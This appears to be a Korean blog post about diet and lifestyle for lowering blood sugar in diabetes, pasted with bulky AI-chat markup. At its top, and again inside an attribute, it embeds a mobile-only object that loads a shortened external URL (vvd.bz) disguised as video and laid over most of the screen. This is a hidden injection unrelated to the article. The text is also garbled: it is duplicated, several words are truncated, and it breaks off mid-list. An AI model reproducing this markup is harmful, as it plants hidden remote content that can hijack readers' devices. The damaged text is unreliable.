당뇨에 좋은 음식 챙기고 당수치 낮추는 법

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c3571917390="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:22">당뇨에 좋은 음식과 혈당 관리 방법</h2><p data-sourcepos="3:1-3:76">당뇨병 환자분들을 위한 맞춤형 정보를 드리겠습니다. 혈당 관리에 도움이 되는 음식과 함께, 건강한 생활 습관까지 꼼꼼하게 알려드릴게요.</p><p data-sourcepos="5:1-5:17"><strong>1. 혈당을 낮추는 식단</strong></p><ul data-sourcepos="7:1-17:0"> <li data-sourcepos="7:1-8:33"><strong>채소:</strong> 섬유질이 풍부한 채소는 혈당 상승을 완만하게 하고 포만감을 높여줍니다. 특히 녹색 잎채소, 브로콜리, 양파 등이 좋습니다. <ul data-sourcepos="8:5-8:33"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=I6bHGcPaXn8"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="녹색 잎채소, 브로콜리, 양파 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQkUghk0RJYTHSxpC5JStujoek3x8d0y9Lula0oiiJmU_CM_gs99SCFrZOUcWUm"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=I6bHGcPaXn8" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹색 잎채소, 브로콜리, 양파 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="9:1-10:28"><strong>과일:</strong> 과일에는 비타민과 미네랄이 풍부하지만, 당분 함량도 높으므로 적당량을 섭취하는 것이 좋습니다. 사과, 베리류, 자몽 등이 비교적 혈당 지수가 낮은 편입니다. <ul data-sourcepos="10:5-10:28"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kor.pngtree.com/freepng/fruit-grapefruit-apple-pear_9129136.html"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="사과, 베리류, 자몽 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQV7TPBsQD2HQp1HWG-LPlQIB1TnGkVwwh-EoNg97D0e4c_JkVKJ0lX5hPeijXd"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://kor.pngtree.com/freepng/fruit-grapefruit-apple-pear_9129136.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcRVncqV16_KpIwkAg-5UxMyCcknE-f7BERuW8UNTcPQt3G-IuuZg963ryl412HSetZX3-o6JzwJUNJs6wJ2rOU-0DU70IotrMlD"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">kor.pngtree.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 사과, 베리류, 자몽 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="11:1-12:27"><strong>곡물:</strong> 흰쌀밥 대신 현미, 통밀, 귀리 등 통곡물을 섭취하면 식이섬유 섭취를 늘릴 수 있습니다. <ul data-sourcepos="12:5-12:27"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.ibabynews.com/news/articleView.html?idxno=48773"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="현미, 통밀, 귀리 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRnPFM8zsBS-zvz4Sjoz6P3KqxrGSZhXpPQqMXnqSN9ilXW5lPF0u5r172DdeCF"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.ibabynews.com/news/articleView.html?idxno=48773" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcQ0GU6E0Uzs-uTtaxf8iF5SJjCm6VkKW3dRux7TJ6N9hLmFFJHGDdw9XMP8wT5Z0LjVDPGKImpccsvwhci_aLd98IhjDUb9Sch8R6U"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.ibabynews.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 현미, 통밀, 귀리 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="13:1-14:20"><strong>견과류:</strong> 견과류는 불포화지방산이 풍부하여 심혈관 건강에도 좋고, 혈당 조절에도 도움이 됩니다. 하지만 칼로리가 높으므로 적정량을 섭취해야 합니다. <ul data-sourcepos="14:5-14:20"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="견과류 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcRNxVLMXBTJGfUtYWmGYrluhJkDDZaeUjGycgg4KVCp5dkefl5wi8rrWI23095D"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="15:1-17:0"><strong>콩류:</strong> 콩에는 단백질과 식이섬유가 풍부하여 포만감을 높이고 혈당 조절에 도움을 줍니다. <ul data-sourcepos="16:5-17:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%BD%A9"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="콩류 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQXVbqgEqdKX47OFLAJkdsdxVtixUCAun1txi6iEO3VS0t95X88D5T-vChrq4id"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%BD%A9" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 콩류 </div></div></single-image></response-element></div></span> </ul> </li> </ul><p data-sourcepos="18:1-18:22"><strong>2. 혈당 관리를 위한 생활 습관</strong></p><ul data-sourcepos="20:1-26:0"> <li data-sourcepos="20:1-22:22"><strong>규칙적인 운동:</strong> 유산소 운동과 근력 운동을 병행하면 혈당 조절에 적입니다. <ul data-sourcepos="21:5-22:22"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kormedi.com/1354890/"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="근력 운동 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTgiBSgChpIt1A2985IuVnckcgAi578sMf9zeY5KPzyZU_zyqn7eE87CKCnsitm"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1354890/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 근력 운동 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="23:1-23:55"><strong>체중 관리:</strong> 비만은 당뇨병의 주요 위험 요인이므로 적정 체중을 유지하는 것이 중요합니다.</li> <li data-sourcepos="24:1-24:67"><strong>스트레스 관리:</strong> 스트레스는 혈당을 높일 수 있으므로 명상, 요가 등을 통해 스트레스를 관리하는 것이 좋습니다.</li> <li data-sourcepos="25:1-26:0"><strong>충분한 수면:</strong> 수면 부족은 혈당 조절에 부정적인 영향을 미칠 수 있으므로 충분히 잠을 자는 것이 중요합니다.</li> </ul><p data-sourcepos="27:1-27:26"><strong>3. 혈당 관리에 도움이 되는 기타 식품</strong></p><ul data-sourcepos="29:1-33:0"> <li data-sourcepos="29:1-30:19"><strong>녹차:</strong> 녹차에 함유된 카테킨 성분은 혈당 상승을 억제하는 가 있습니다. <ul data-sourcepos="30:5-30:19"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%85%B9%EC%B0%A8"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="녹차 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcScR8dznpdH3edV8xsYUovYbQz8MkJNVCOxNuwNWhRcvGrN9OmHx1XY9HmeHCEa"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%85%B9%EC%B0%A8" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹차 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="31:1-33:0"><strong>시나몬:</strong> 시나몬은 인슐린 감수성을 높여 혈당 조절에 도움을 줄 수 있습니다. <ul data-sourcepos="32:5-33:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.lush.co.kr/board/article/1000223"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="시나몬 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSDYP2jkxMVr_ysWS7j9y7hkYgOL4YvdOEBFTKo-TUO_0NAa2SOCw2mNmhOQLie"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.lush.co.kr/board/article/1000223" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6a987ae694c15903&quot;,&quot;c_beb2387054c1aaee&quot;,null,&quot;rc_1f5198965af8fd5b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSg0hDNeMEiwreBMmu51qYRbraMpGYqkF5_QtCUgvlSX4ZfjabDpJz6DdeYCXCFRfNafBSU6U66hRP9u59zd8O8529t-2lfdcU"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.lush.co.kr</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 시나몬 </div></div></single-image></response-element></div></span> </ul> </li> </ul><p data-sourcepos="34:1-34:16"><strong>4. 주의해야 할 음식</strong></p><ul data-sourcepos="36:1-39:0"> <li data-sourcepos="36:1-36:69"><strong>정제된 탄수화물:</strong> 흰 빵, 흰 쌀밥, 과자 등 정제된 탄수화물은 혈당을 빠르게 상승시키므로 섭취를 줄여야 합니다.</li> <li data-sourcepos="37:1-37:66"><strong>단 음료:</strong> 탄산음료, 과즙음료 등 단 음료는 칼로리가 높고 혈당을 급격히 상승시키므로 피하는 것이 좋습니다.</li> <li data-sourcepos="38:1-39:0"><strong>포화지방:</strong> 붉은 육류, 버터 등 포화지방이 많은 음식은 심혈관 의 위험을 높일 수 있으므로 섭취를 줄여야 합니다.</li> </ul><p data-sourcepos="40:1-40:14"><strong>5. 전문가와 상담</strong></p><p data-sourcepos="42:1-42:108">위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적절한 식단과 운동 방법이 달라질 수 있습니다. 당뇨병 관리에 대한 전문적인 상담은 반드시 의사나 영양사와 상담하여 결정해야 합니다.</p><p data-sourcepos="44:1-44:103"><strong>주의:</strong> 위에 제시된 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다. 반드시 의사와 상담하여 자신에게 맞는 식단과 운동 계획을 세우는 것이 중요합니다.</p><p data-sourcepos="46:1-46:287"><strong>Disclaimer:</strong> This information is intended for general knowledge and informational purposes only, and does not constitute medical advice. It is essential to consult with a qualified healthcare professional for any health concerns or before making any changes to your diet or lifestyle.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c3571917390="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:22">당뇨에 좋은 음식과 혈당 관리 방법</h2><p data-sourcepos="3:1-3:76">당뇨병 환자분들을 위한 맞춤형 정보를 드리겠습니다. 혈당 관리에 도움이 되는 음식과 함께, 건강한 생활 습관까지 꼼꼼하게 알려드릴게요.</p><p data-sourcepos="5:1-5:17"><strong>1. 혈당을 낮추는 식단</strong></p><ul data-sourcepos="7:1-17:0"> <li data-sourcepos="7:1-8:33"><strong>채소:</strong> 섬유질이 풍부한 채소는 혈당 상승을 완만하게 하고 포만감을 높여줍니다. 특히 녹색 잎채소, 브로콜리, 양파 등이 좋습니다. <ul data-sourcepos="8:5-8:33"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=I6bHGcPaXn8"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="녹색 잎채소, 브로콜리, 양파 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQkUghk0RJYTHSxpC5JStujoek3x8d0y9Lula0oiiJmU_CM_gs99SCFrZOUcWUm"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=I6bHGcPaXn8" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹색 잎채소, 브로콜리, 양파 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="9:1-10:28"><strong>과일:</strong> 과일에는 비타민과 미네랄이 풍부하지만, 당분 함량도 높으므로 적당량을 섭취하는 것이 좋습니다. 사과, 베리류, 자몽 등이 비교적 혈당 지수가 낮은 편입니다. <ul data-sourcepos="10:5-10:28"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kor.pngtree.com/freepng/fruit-grapefruit-apple-pear_9129136.html"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="사과, 베리류, 자몽 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQV7TPBsQD2HQp1HWG-LPlQIB1TnGkVwwh-EoNg97D0e4c_JkVKJ0lX5hPeijXd"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://kor.pngtree.com/freepng/fruit-grapefruit-apple-pear_9129136.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRVncqV16_KpIwkAg-5UxMyCcknE-f7BERuW8UNTcPQt3G-IuuZg963ryl412HSetZX3-o6JzwJUNJs6wJ2rOU-0DU70IotrMlD"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">kor.pngtree.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 사과, 베리류, 자몽 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="11:1-12:27"><strong>곡물:</strong> 